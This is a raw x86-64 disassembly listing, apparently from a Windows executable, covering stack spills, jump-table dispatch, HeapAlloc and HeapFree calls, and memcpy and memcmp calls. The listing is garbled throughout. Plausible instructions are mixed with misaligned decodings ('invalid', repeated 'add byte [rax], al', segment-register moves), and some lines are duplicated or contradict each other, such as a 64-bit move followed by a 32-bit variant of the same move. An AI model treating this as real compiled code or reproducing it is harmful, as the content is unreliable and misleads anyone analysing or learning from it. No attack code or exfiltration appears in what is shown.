mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x238], rax
mov r13, qword [rsp + 0x110]
cmp r15, 7
pop rax
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdi], ah
add al, byte [rax]
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x10
add dword [rax], eax
add byte [rcx - 0x7d], cl
inc dword [rdi]
mov r11, qword [rsp + 0x40]
ja case.default.0x1400311fd
xchg esp, esi
add al, byte [rax]
invalid
xchg esp, esi
add al, byte [rax]
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xb8
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + rax*8], fs
add al, byte [rax]
add byte [rax - 0x73], cl
or eax, 0x1d7207
mov qword [rsp + 0x2b8], r13
mov qword [rsp + 0x2c0], rcx
lea rcx, [0x1402083f8]
movsxd rax, dword [rcx + r15*4]
add rax, rcx
mov r10, qword [rsp + 0x50]
jmp rax
mov qword [rsp + 0x220], r8
mov r8, qword [rsp + 0x1f8]
cmp qword [rsp + 0x178], 0
test byte [rax + riz], ah
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xf8
add dword [rax], eax
add byte [rax - 0x7d], cl
mov esp, 0x17824
add byte [rax], al
je 0x140031249
mov qword [rsp + 0x350], r12
mov rcx, qword [0x140215360]
xor edx, edx
mov r15, r9
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r9, r15
mov r12, qword [rsp + 0x350]
mov r10, qword [rsp + 0x50]
mov r11, qword [rsp + 0x40]
mov r8, qword [rsp + 0x220]
mov rcx, qword [rsp + 0x2c0]
mov r15, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x238]
mov r13, qword [rsp + 0x2b8]
jmp 0x1400313df
mov rcx, qword [rsp + 0x58]
test rcx, rcx
cmovne r12, qword [rsp + 0x98]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xd0], rdi
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], r10
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], r12
lea rcx, [rsp + 0xd0]
call fcn.140058a60
test rax, rax
cmove rdx, rax
mov rcx, rax
lea rax, [0x140204680]
cmove rcx, rax
mov r9, rcx
test rdx, rdx
test edx, edx
test edx, edx
cmove r9, rdx
je 0x140031308
lea r8, [rdx - 1]
lea rax, [rcx + 1]
cmp byte [rcx], 0x3d
mov ecx, 0
cmovne rax, rcx
jmp 0x140031312
xor eax, eax
mov r8, qword [rsp + 0x360]
test rax, rax
cmovne r9, rax
mov qword [rsp + 0x360], r8
cmovne rdx, r8
setne byte [rsp + 0x38]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xd0]
mov rsi, qword [rsp + 0x48]
mov rdx, rsi
xor r8d, r8d
call fcn.140037c20
mov r10, qword [rsp + 0xd0]
mov r8, qword [rsp + 0xd8]
mov r9, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xf0]
mov rax, qword [rsp + 0xf8]
cmp r10, 9
je 0x140032179
cmp r10d, 3
mov r11, qword [rsp + 0x40]
jne 0x1400321ad
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x328], rax
mov rdx, qword [rsp + 0x318]
mov r13, qword [rsp + 0x320]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xe0
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + rbx*8], fs
add al, byte [rax]
add byte [rbp - 0x77], cl
stc
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xe0
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + rbx*8], fs
add al, byte [rax]
add byte [rbp - 0x77], cl
stc
mov r15, qword [rsp + 0x178]
mov r10, qword [rsp + 0x50]
mov al, 1
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x328]
sub byte [rbx], al
add byte [rax], al
sub byte [rbx], al
add byte [rax], al
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x318], rdx
mov qword [rsp + 0x320], r13
mov qword [rsp + 0x2e0], r8
mov qword [rsp + 0x2d8], rcx
mov qword [rsp + 0x178], r15
mov r15, r9
mov rcx, r14
cmp r14, r10
mov r14, qword [rsp + 0x90]
jne 0x140031005
jmp 0x140031d19
mov qword [rsp + 0x220], r8
cmp qword [rsp + 0x178], 0
je 0x14003147a
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x1f8]
mov r15, r12
mov r12, r9
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r9, r12
mov r12, r15
mov r10, qword [rsp + 0x50]
mov r11, qword [rsp + 0x40]
cmp qword [rsp + 0x2e0], 0
je 0x1400314b2
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x2d8]
mov r15, r12
mov r12, r9
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r9, r12
mov r12, r15
mov r10, qword [rsp + 0x50]
mov r11, qword [rsp + 0x40]
cmp qword [rsp + 0x320], 0
mov r8, qword [rsp + 0x318]
jne 0x14003121a
jmp 0x140031249
mov r10, qword [rsp + 0x50]
mov r15, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x238]
jmp 0x1400313df
mov rdx, qword [r8 + 0xe0]
test rdx, rdx
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x88]
je 0x140031574
mov rcx, qword [r8 + 0xd0]
imul rdx, rdx, 0x298
add rdx, rcx
mov r8d, dword [rcx + 0x290]
cmp r8d, 0x110000
je 0x140031528
cmp r8d, eax
je 0x1400315f6
lea r8, [rcx + 0x298]
mov r9, qword [rcx + 0x70]
mov r10, qword [rcx + 0x80]
shl r10, 3
xor r11d, r11d
nop word cs:[rax + rax]
cmp r10, r11
je 0x14003156c
lea rsi, [r11 + 8]
cmp dword [r9 + r11], eax
mov r11, rsi
mov rsi, qword [rsp + 0x48]
jne 0x140031550
jmp 0x1400315f6
mov rcx, r8
cmp r8, rdx
jne 0x14003150f
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x240], rax
lea rax, [fcn.14005e600]
mov qword [rsp + 0x248], rax
lea rax, [0x14016a130]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x240]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
lea rcx, [rsp + 0x188]
lea rdx, [rsp + 0xd0]
call fcn.140014120
mov r10d, 7
jmp 0x1400316b6
mov rbx, qword [rcx + 0x40]
mov rdi, qword [rcx + 0x50]
lea rcx, [rsp + 0xd0]
mov rdx, rsi
mov r8, qword [rsp + 0x60]
call fcn.140038e70
movzx eax, byte [rsp + 0xf0]
cmp al, 0x16
jne 0x140031661
mov rax, rsi
mov rsi, qword [rsi + 0x18]
inc rsi
mov qword [rax + 0x18], rsi
test rdi, rdi
je case.0x14003207d.39
invalid
js 0x140035821
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, rdi
call fcn.140013830
mov r12, rax
mov esp, eax
test rax, rax
jne 0x1400319c3
jmp 0x140033e05
movdqu xmm0, xmmword [rsp + 0xd0]
movdqu xmm1, xmmword [rsp + 0xe0]
lea r8, [rsp + 0x188]
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmmword [r8], xmm0
lea rdx, [rsp + 0x100]
mov ecx, dword [rdx - 0xf]
mov edx, dword [rdx - 0xc]
mov dword [r8 + 0x24], edx
mov dword [r8 + 0x21], ecx
mov byte [rsp + 0x1a8], al
mov r10d, 9
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x88]
mov r11, qword [rsp + 0x40]
mov r14, qword [rsp + 0x90]
mov esi, dword [rsp + 0x90]
cmp r15, 7
jbe 0x140031a49
jmp case.0x140031a57.1
mov r12d, 1
mov rcx, r12
mov rdx, r15
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov r15, r13
xor eax, eax
mov r11, qword [rsp + 0x40]
jmp 0x140032009
test rcx, rcx
je 0x140031741
shl qword [rsp + 0x50], 4
xor esi, esi
jmp 0x14003170f
add rsi, 0x10
cmp qword [rsp + 0x50], rsi
je 0x140031741
cmp qword [rax + rsi + 8], r13
jne 0x140031704
mov r15, qword [rax + rsi]
mov rcx, r15
mov rdx, r10
mov r8, r13
mov rdi, rax
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
test eax, eax
mov rax, rdi
jne 0x140031704
jmp 0x140030d04
test rbx, rbx
mov rbx, qword [rsp + 0x88]
je 0x14003176a
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rax, qword [rsi + 0x10]
mov ecx, dword [rax + 0x250]
push rax
add al, byte [rax]
add byte [rbx], cl
mov byte [rax + 2], bl
add byte [rax], al
push rax
add al, byte [rax]
add byte [rbx], cl
mov byte [rax + 2], bl
add byte [rax], al
test ecx, 0x10000
mov rdi, qword [rsp + 0x70]
je 0x1400317b3
lea rcx, [rsp + 0x100]
lea ecx, [rsp + 0x100]
mov rax, qword [rcx + 0x18]
movdqu xmm0, xmmword [rcx + 8]
movdqa xmmword [rsp + 0x380], xmm0
mov qword [rsp + 0x390], rax
jmp case.0x140031b28.5
test r13, r13
je 0x140031c6d
js 0x140035821
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, r13
call fcn.140013830
mov r12, rax
test rax, rax
mov r10, qword [rsp + 0x58]
jne 0x140031c73
jmp 0x140035a24
mov qword [rsp + 0x180], 8
lea rax, [rsp + 0x188]
movups xmmword [rax], xmm8
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x180]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xd0]
add byte [rax], al
add byte [rax], al
mov r8b, 1
mov r9b, 2
call fcn.1400383f0
jmp 0x140031fd3
mov rsi, qword [r14 + 0x78]
movzx eax, byte [0x1402153f8]
mov ecx, 0x20
mov edx, 8
call fcn.140013830
test rax, rax
je 0x140035b91
mov qword [rax], rsi
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 4
mov qword [rsp + 0x190], 1
cmp r15, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
je 0x14003199b
mov r13, rax
mov ebx, 1
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x58], rax
mov rdi, qword [rsp + 0x210]
shl rdi, 5
jmp 0x1400318b7
cmp r15, qword [rsp + 0x68]
je 0x14003199b
mov rsi, r15
add r15, 0x80
mov r14, qword [rsi + 0x78]
mov rcx, qword [rsp + 0x60]
mov rdx, r14
xor r8d, r8d
call fcn.140020b00
test al, al
je 0x1400318ac
mov rcx, qword [r12 + 0xb0]
mov rax, qword [r12 + 0xa0]
mov rdx, 0xfffffffffffffd80
add rax, rdx
shl rcx, 7
lea rcx, [rcx + rcx*4]
nop dword [rax + rax]
test rcx, rcx
test ecx, ecx
je 0x14003194b
lea rdx, [rax + 0x280]
add rcx, 0xfffffffffffffd80
cmp qword [rax + 0x488], r14
mov rax, rdx
jne 0x140031900
test byte [rdx + 0x278], 0x10
jne 0x1400318ac
invalid
mov rax, rdi
mov rcx, qword [rsp + 0x58]
test rax, rax
je 0x14003194b
sal byte [rsi + rdx + 0x48], 0x8d
push rcx
and byte [rax - 0x7d], cl
shl al, 0x4c
cmp dword [rcx + 0x18], esi
lea rdx, [rcx + 0x20]
add rax, 0xffffffffffffffe0
cmp qword [rcx + 0x18], r14
mov rcx, rdx
jne 0x140031930
jmp 0x1400318ac
mov rsi, qword [rsi + 0x78]
cmp rbx, qword [rsp + 0x188]
mov rax, r13
je 0x14003197b
mov r13, rax
mov qword [rax + rbx*8], rsi
inc rbx
mov qword [rsp + 0x190], rbx
cmp r15, qword [rsp + 0x68]
jne 0x140031891
jmp 0x14003199b
mov r8d, 1
lea rcx, [rsp + 0x180]
add byte [rax - 0x77], cl
invalid
call fcn.14015dae0
mov rax, qword [rsp + 0x180]
jmp 0x14003195c
invalid
add byte [rax - 0x77], cl
invalid
ror dword [rax - 0x75], 0xb4
and al, 0x80
add dword [rax], eax
add byte [rax - 0x73], cl
test byte [rax + rcx*4], ah
add dword [rax], eax
add bl, dh
movq mm0, qword [rax]
mov rsi, qword [rsp + 0x180]
lea rax, [rsp + 0x188]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x2f0], xmm0
jmp 0x140031ca1
mov r12d, 1
mov rcx, r12
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x48]
cmp qword [rax], 0
cmp qword [rax], 0
jne 0x1400319ec
mov rax, qword [rsp + 0x48]
mov qword [rax], 1
mov qword [rax + 8], rsi
mov dword [rax + 8], esi
mov dword [rax + 8], esi
cmp qword [rsp + 0x58], 0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x88]
mov r11, qword [rsp + 0x40]
pop rsp
and al, 0x40
pop rsp
and al, 0x40
mov rax, qword [rsp + 0x50]
jne 0x140031a17
cmp rax, r14
jne 0x140031a17
mov qword [rsi], 0
mov qword [rsp + 0x188], r12
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x198], rdi
xor r10d, r10d
mov rdi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x90]
cmp r15, 7
ja case.0x140031a57.1
lea rcx, [0x140208418]
movsxd rax, dword [rcx + r15*4]
add rax, rcx
jmp rax
mov r8, qword [rsp + 0x1f8]
cmp qword [rsp + 0x178], 0
and al, 0xf8
add dword [rax], eax
add byte [rax - 0x7d], cl
mov esp, 0x17824
add byte [rax], al
jne 0x140031ade
jmp case.0x140031a57.1
add byte [rax], al
add byte [rax - 0x7d], cl
cmp qword [rsp + 0x178], 0
cmp qword [rsp + 0x178], 0
je 0x140031a9e
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x1f8]
and al, 0xf8
add dword [rax], eax
add byte [rbp - 0x77], cl
xlatb
and al, 0xf8
add dword [rax], eax
add byte [rbp - 0x77], cl
xlatb
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r10, r15
mov r11, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x40]
mov ebx, dword [rsp + 0x40]
cmp qword [rsp + 0x2e0], 0
je 0x140031acb
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x2d8]
mov r15, r10
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r10, r15
mov r11, qword [rsp + 0x40]
cmp qword [rsp + 0x320], 0
mov r8, qword [rsp + 0x318]
je case.0x140031a57.1
mov rcx, qword [0x140215360]
xor edx, edx
mov r15, r10
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r10, r15
mov r11, qword [rsp + 0x40]
mov r12, qword [rsp + 0x188]
mov r15, qword [rsp + 0x190]
mov r13, qword [rsp + 0x198]
cmp r10, 9
je case.default.0x140031b28
lea rcx, [0x140208438]
movsxd rax, dword [rcx + r10*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x78]
cmp rax, 1
jne 0x14002f66d
mov rax, qword [rsp + 0x60]
cmp byte [rax + 0x70], 4
jne 0x140031b65
mov rax, qword [rsp + 0x2c8]
movups xmmword [rax], xmm8
mov rax, qword [rsp + 0x60]
mov qword [rax + 0x50], 8
mov qword [rax + 0x68], rdi
mov byte [rax + 0x70], 3
mov rax, qword [rsi + 0x10]
mov rcx, qword [rax + 0xb0]
mov rax, qword [rax + 0xa0]
mov rdx, 0xfffffffffffffd80
add rax, rdx
shl rcx, 7
lea rcx, [rcx + rcx*4]
nop dword [rax]
test rcx, rcx
je 0x14003587b
lea rsi, [rax + 0x280]
add rcx, 0xfffffffffffffd80
cmp qword [rax + 0x488], rdi
mov rax, rsi
jne 0x140031b90
mov r9, qword [rsp + 0x80]
test r9, r9
cmove r9, qword [rsp + 0xb0]
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 0
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x48]
mov r8, rsi
call fcn.14003b820
mov rax, qword [rsp + 0xd0]
cmp rax, 1
je 0x140031c4e
cmp rax, 2
je 0x140031c3d
cmp rax, 9
jne 0x140035afc
mov rcx, qword [rsp + 0x60]
mov rdx, rsi
call fcn.14003c0d0
test al, al
je 0x140031c3d
mov rdi, qword [rsi + 0x208]
mov eax, 1
mov qword [rsp + 0x78], rax
jmp 0x140031c5b
xor eax, eax
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x330]
jmp 0x140031c5b
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0xd8]
mov qword [rsp + 0x330], rdi
mov rsi, qword [rsp + 0x48]
jmp 0x14002fe42
mov r12d, 1
mov rcx, r12
mov rdx, r10
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov eax, 7
mov r15, r13
mov edi, ebp
mov r11, qword [rsp + 0x40]
jmp 0x140032009
movaps xmmword [rsp + 0x2f0], xmm8
mov esi, 8
lea rcx, [rsp + 0x180]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0xb8]
call fcn.140013eb0
mov rbx, qword [rsp + 0x180]
mov rdi, qword [rsp + 0x190]
test rbx, rbx
invalid
je 0x140031cdd
mov r14, qword [rsp + 0x188]
jmp 0x140031e95
add dword [rax], eax
invalid
mov r14, qword [rsp + 0x188]
test rdi, rdi
je 0x140031e7f
js 0x140035821
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, rdi
mov ecx, edi
call fcn.140013830
mov rbx, rax
test rax, rax
jne 0x140031e84
invalid
jmp 0x140033e05
cmp qword [rsp + 0x58], 0
je 0x1400320bc
lea rdi, [rsp + 0x240]
mov rcx, rdi
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x98]
call fcn.140013eb0
mov qword [rsp + 0x290], rdi
lea rax, [0x140021c80]
mov qword [rsp + 0x298], rax
lea rax, [0x14016a130]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x290]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0xd0]
call fcn.140014120
mov r8, qword [rsp + 0x240]
test r8, r8
mov rbx, qword [rsp + 0x88]
je 0x140031de0
cmp qword [rsp + 0x248], 0
je 0x140031de0
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rax - 0x75], cl
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rcx*4], fs
add dword [rax], eax
add byte [rax - 0x77], cl
adc r11b, sil
movq mm0, qword [rsp + 0x200]
mov rax, qword [rsp + 0x210]
lea rcx, [rsp + 0x188]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x200]
movdqu xmmword [rcx], xmm0
movq qword [rcx], mm0
mov r10d, 7
mov rdi, qword [rsp + 0x70]
mov r11, qword [rsp + 0x40]
cmp r15, 7
jbe 0x140031a49
jmp case.0x140031a57.1
xor eax, eax
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
xor eax, eax
mov r11, qword [rsp + 0x40]
mov r12, r13
mov r13, qword [rsp + 0x98]
add byte [rax], al
add byte [rax], al
mov r10, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x78]
cmp rcx, 2
jne 0x140030225
jmp 0x140030129
lea rax, [r10 + r8]
mov qword [rsp + 0x50], rax
sub r13, r8
mov qword [rsp + 0xb8], r13
mov r13, r9
jmp 0x140030118
xor eax, eax
mov qword [rsp + 0x58], rax
mov r10, qword [rsp + 0x50]
jmp 0x140030feb
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r14, rdi
lea rax, [rsp + 0x240]
mov qword [rsp + 0x240], 1
lea rcx, [rsp + 0x248]
movups xmmword [rcx], xmm8
mov qword [rsp + 0x1b0], 0x20
mov byte [rsp + 0x1b8], 3
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x1a0], rax
lea rax, fcn.140022090
add eax, 0x137dc8
add eax, 0x137dc8
mov qword [rsp + 0x1a8], rax
mov rcx, qword [rsp + 0x98]
lea rdx, [rsp + 0x180]
call fcn.140018430
invalid
invalid
inc dword [rax + rax*8 + 0x3c4e850f]
add byte [rax], al
invalid
mov rax, qword [rsp + 0x250]
lea rcx, [rsp + 0x100]
mov qword [rcx + 0x18], rax
movups xmm0, xmmword [rsp + 0x240]
movups xmmword [rcx + 8], xmm0
movdqa xmm0, xmmword [rsp + 0x2f0]
movdqu xmmword [rcx - 8], xmm0
mov qword [rsp + 0xd0], 4
mov qword [rsp + 0xd8], rbx
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rsi
mov rdi, qword [rsp + 0x200]
and al, 0
add al, byte [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
adc byte [rdx], al
add byte [rax], al
and al, 0
add al, byte [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
adc byte [rdx], al
add byte [rax], al
test rsi, rsi
mov r14, qword [rsp + 0x90]
je 0x140031fb6
lea rbx, [rdi + 8]
jmp 0x140031f9b
add rbx, 0x20
dec rsi
je 0x140031fb6
cmp qword [rbx], 0
je 0x140031f92
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
add byte [rcx], dh
sar bh, cl
adc eax, 0x136074
add byte [rcx], dh
sar bh, cl
adc eax, 0x136074
jmp 0x140031f92
cmp qword [rsp + 0x208], 0
je 0x140031fd3
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0xd0]
mov r13, qword [rsp + 0xe8]
cmp rax, 9
mov r11, qword [rsp + 0x40]
je 0x140035531
mov r12, qword [rsp + 0xd8]
mov r15, qword [rsp + 0xe0]
mov cl, 1
mov qword [rsp + 0x68], rcx
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xf8]
mov rbx, qword [rsp + 0x100]
lea rdx, [rsp + 0x100]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + 0x18]
movdqu xmm0, xmmword [rdx + 8]
movdqa xmmword [rsp + 0x380], xmm0
mov qword [rsp + 0x390], rcx
cmp rax, 5
invalid
jne 0x14003206f
add eax, 0x8b482675
je 0x140032071
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x88]
cmp rax, 1
jne 0x14002f66d
jmp 0x140031b39
invalid
lea rcx, [0x1402083d4]
or eax, 0x1d635e
pop rsi
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 1
mov qword [rsp + 0x78], rax
mov rdi, r12
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x88]
jmp 0x14002fe42
xor eax, eax
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x70]
mov edi, dword [rsp + 0x70]
mov edi, dword [rsp + 0x70]
mov rbx, qword [rsp + 0x88]
jmp 0x14002fe42
mov qword [rsp + 0x180], r15
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x1a8], rax
mov r10, r15
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x88]
jmp case.0x140031a57.1
mov eax, 1
mov qword [rsp + 0x78], rax
mov rdi, r12
jmp 0x14002fe42
xor eax, eax
mov qword [rsp + 0x78], rax
jmp 0x14002fe42
mov rdx, qword [rsp + 0x328]
mov qword [rsp + 0x188], rdx
mov qword [rsp + 0x190], r10
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x1a0], rcx
mov qword [rsp + 0x1a8], r8
jmp 0x1400321a1
mov qword [rsp + 0x188], r8
mov qword [rsp + 0x190], r9
mov qword [rsp + 0x198], rdx
mov qword [rsp + 0x1a0], rcx
mov qword [rsp + 0x1a8], rax
mov al, 1
mov qword [rsp + 0x68], rax
jmp 0x1400316a3
movdqu xmm0, xmmword [rsp + 0x100]
mov qword [rsp + 0x180], r10
mov qword [rsp + 0x188], r8
mov qword [rsp + 0x190], r9
mov qword [rsp + 0x198], rdx
mov qword [rsp + 0x1a0], rcx
mov qword [rsp + 0x1a8], rax
movdqu xmmword [rsp + 0x1b0], xmm0
mov al, 1
mov qword [rsp + 0x68], rax
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x88]
mov r14, qword [rsp + 0x90]
cmp r15, 7
jbe 0x140031a49
jmp case.0x140031a57.1
mov r14, qword [rdi + 0x250]
mov r12, qword [rdi + 0x258]
mov eax, r14d
or eax, r12d
test eax, 0x4000
je 0x1400322c8
cmp qword [rsp + 0x230], 0
je 0x140032519
lea rcx, [rsp + 0xd0]
mov rdx, rsi
mov r8, qword [rsp + 0x60]
call fcn.140038e70
cmp byte [rsp + 0xf0], 0x16
je 0x1400325a5
mov rcx, qword [rsp + 0xd0]
call fcn.140035cc0
mov rsi, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe8]
test rdi, rdi
je 0x140032588
lea rbx, [rsi + 8]
jmp 0x1400322ad
add rbx, 0x18
dec rdi
je 0x140032588
cmp qword [rbx], 0
je 0x1400322a0
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400322a0
lea rcx, [rsp + 0xd0]
mov rdx, rsi
mov r8, qword [rsp + 0x60]
call fcn.140038e70
cmp byte [rsp + 0xf0], 0x16
je 0x140032351
mov rcx, qword [rsp + 0xd0]
call fcn.140035cc0
mov rsi, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe8]
test rdi, rdi
je 0x140032334
lea rbx, [rsi + 8]
jmp 0x140032319
add rbx, 0x18
dec rdi
je 0x140032334
cmp qword [rbx], 0
je 0x140032310
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140032310
cmp qword [rsp + 0xe0], 0
je 0x140032351
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test byte [rsp + 0xa8], 1
je 0x14003247c
cmp byte [rsp + 0x68], 0
setne r8b
mov rax, qword [rsp + 0x80]
test rax, rax
cmove rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x230]
test rdx, rdx
cmove rax, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x40]
cmovne rcx, qword [rsp + 0xc8]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xd0], rdx
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x48]
call fcn.140037530
test rax, rax
je 0x14003247c
mov rdx, qword [rsp + 0x80]
test rdx, rdx
mov rax, qword [rsp + 0x48]
mov r13, qword [rax + 0x10]
cmove rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x290]
mov r8, qword [rsp + 0xc8]
call fcn.140013eb0
mov rsi, qword [rsp + 0x290]
mov r15, qword [rsp + 0x298]
test rsi, rsi
mov rbx, rsi
cmove rbx, r15
mov rdi, qword [rsp + 0x2a0]
test rdi, rdi
je 0x140033d33
js 0x140035821
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140032460
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140033e05
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140033d39
jmp 0x140033e05
mov rdx, qword [rsp + 0x80]
test rdx, rdx
cmove rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x290]
mov r8, qword [rsp + 0xc8]
call fcn.140013eb0
mov rsi, qword [rsp + 0x290]
mov rdi, qword [rsp + 0x2a0]
test rsi, rsi
jne 0x1400324c2
mov rsi, qword [rsp + 0x298]
test rdi, rdi
je 0x1400325fc
js 0x140035821
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400324fd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140033e05
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140032601
jmp 0x140033e05
test r11, r11
je 0x140033216
